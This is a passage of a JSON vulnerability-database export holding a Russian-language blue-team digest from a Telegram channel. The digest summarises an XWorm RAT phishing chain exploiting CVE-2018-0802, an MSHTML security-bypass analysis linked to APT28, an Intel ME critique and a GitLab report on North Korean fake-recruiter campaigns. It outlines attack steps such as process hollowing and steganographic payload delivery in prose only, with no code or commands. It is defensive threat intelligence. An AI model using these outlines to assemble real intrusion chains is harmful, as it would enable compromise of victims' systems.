\u041f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043f\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0434\u043b\u044f \u0442\u0440\u0443\u0434\u043e\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0432 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n#blue_team #\u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0435", "creation_timestamp": "2026-09-14T18:00:06.868408Z"}, {"uuid": "6c0680e1-ebd2-43a9-9327-6d05b610b56b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "published-proof-of-concept", "source": "https://t.me/purp_sec/1420", "content": "\u0412\u0442\u043e\u0440\u043d\u0438\u043a \u2014 \u043f\u043e\u0440\u0430 \u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441 \u043a\u043e\u043b\u043b\u0435\u0433\u0430\u043c\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430\u043c\u0438 \u043f\u043e \u0431\u043e\u0440\u044c\u0431\u0435 \u0441 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c\u0438 \u0438 \u0438\u0445 \u00ab\u0442\u0432\u043e\u0440\u0447\u0435\u0441\u0442\u0432\u043e\u043c\u00bb.\n\n\u0421\u043e\u0431\u0440\u0430\u043b \u0432\u0430\u043c \u043f\u0430\u0440\u0443 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043c\u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c\u0438.\n\n\ud83d\udd35 Deep Dive into New XWorm Campaign Utilizing Multiple-Themed Phishing Emails \u2014 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e XWorm RAT. \u0416\u0435\u0440\u0442\u0432\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u0438\u0441\u044c\u043c\u043e \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c Excel-\u0444\u0430\u0439\u043b\u043e\u043c (.XLAM), \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f CVE-2018-0802 (RCE \u0432 Equation Editor). Shellcode \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 HTA \u0447\u0435\u0440\u0435\u0437 ShellExecuteExW, \u0434\u0430\u043b\u0435\u0435 PowerShell \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u00ab\u0444\u043e\u0442\u043e\u00bb (JPEG), \u0433\u0434\u0435 \u043c\u0435\u0436\u0434\u0443 \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u043c\u0438 BaseStart/BaseEnd \u0441\u043f\u0440\u044f\u0442\u0430\u043d base64-\u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 .NET-\u043c\u043e\u0434\u0443\u043b\u044c. \u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f process hollowing (\u0432 Msbuild.exe), \u043c\u0430\u043b\u0432\u0430\u0440\u044c \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 C2-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 (AES-\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435) \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439.\n\n\ud83d\udd35 Inside the Fix \u2014 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2026-21513 (security feature bypass \u0432 MSHTML/IEFRAME), \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043b\u043e\u0442\u043d\u043e \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442 \u0441 APT28. \u0412\u0435\u043a\u0442\u043e\u0440 \u2014 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 .LNK-\u0444\u0430\u0439\u043b \u0441\u043e \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c HTML \u043f\u043e\u0441\u043b\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b LNK. \u0427\u0435\u0440\u0435\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 iframe \u0438 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 DOM \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u043b\u0438 Mark of the Web \u0438 Internet Explorer Enhanced Security Configuration (IE ESC), \u0447\u0442\u043e \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u043e \u043a \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 URL \u0438 \u0432\u044b\u0437\u043e\u0432\u0443 ShellExecuteExW \u0431\u0435\u0437 \u0434\u043e\u043b\u0436\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430.\n\n\ud83d\udd35 Intel ME: Anatomy of a Ring -3 Backdoor \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0431\u0437\u043e\u0440 Intel Management Engine (ME), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0430\u0432\u0442\u043e\u0440 \u043e\u0442\u043a\u0440\u044b\u0442\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u00ab\u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c\u00bb. \u042d\u043a\u0441\u043f\u0435\u0440\u0442 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442 ME \u043a\u0430\u043a \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u0443\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0441 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u043c \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0441\u0442\u0435\u043a\u043e\u043c, \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0449\u0443\u044e \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c. \u0412 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0440\u0438\u0441\u043a\u0438 \u0438\u0437-\u0437\u0430 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0438 \u0430\u0443\u0434\u0438\u0442\u0430 ME \u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0410\u0432\u0442\u043e\u0440 \u043f\u0440\u0438\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c AMT \u043f\u0440\u0438 \u043d\u0435\u043d\u0430\u0434\u043e\u0431\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udd35 GitLab Threat Intelligence Team reveals North Korean tradecraft \u2014 GitLab \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043e \u0441\u0435\u0432\u0435\u0440\u043e\u043a\u043e\u0440\u0435\u0439\u0441\u043a\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435. \u0412 2025 \u0433\u043e\u0434\u0443 \u043f\u043e\u0434 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0443 \u043f\u043e\u043f\u0430\u043b 131 \u0430\u043a\u043a\u0430\u0443\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0432\u044f\u0437\u0430\u043b\u0438 \u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 Lazarus \u0438 Contagious Interview. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e\u0434 \u0440\u0435\u043a\u0440\u0443\u0442\u0435\u0440\u043e\u0432, \u043f\u0440\u0438\u0433\u043b\u0430\u0448\u0430\u044e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u043d\u0430 \u00ab\u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u043e\u0431\u0435\u0441\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u00bb \u0438 \u0443\u0431\u0435\u0436\u0434\u0430\u044e\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0441 GitLab. \u0412 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u044b\u043b\u0438 \u043c\u0430\u043b\u0432\u0430\u0440\u0438 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 BeaverTail \u0438 Ottercookie. \u041f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043f\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0434\u043b\u044f \u0442\u0440\u0443\u0434\u043e\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0432 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n#blue_team #\u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0435", "creation_timestamp": "2026-09-15T00:00:11.218819Z"}]}